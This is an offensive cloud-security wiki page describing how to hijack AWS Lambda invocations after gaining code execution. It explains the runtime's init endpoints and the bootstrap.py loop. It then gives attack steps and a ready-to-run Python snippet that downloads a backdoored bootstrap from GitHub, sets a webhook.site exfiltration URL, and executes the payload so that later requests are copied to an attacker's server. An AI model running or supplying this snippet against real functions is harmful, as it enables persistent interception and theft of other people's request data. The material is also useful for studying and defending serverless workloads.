# AWS - Steal Lambda Requests

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## Lambda Flow

<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>

1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process.
2. The init process listens on port **9001** exposing some interesting endpoints:
   - **`/2018-06-01/runtime/invocation/next`** – get the next invocation event
   - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke
   - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error
3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**).
4. Finally, **bootstrap.py** sends to init the **response**

Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process.

## Stealing Lambda Requests

The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process.

This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could:

- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations.
  - A request must be sent to **`/${invoke-id}/response`**
  - The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- Execute a malicious **`boostrap.py`** which will handle the next invocations
  - For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual.
  - For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation.

### Attack Steps

1. Find a **RCE** vulnerability.
2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
3. **Execute** the malicious bootstrap.

You can easily perform these actions running:

```bash
python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF
```

For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)

## References

- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)

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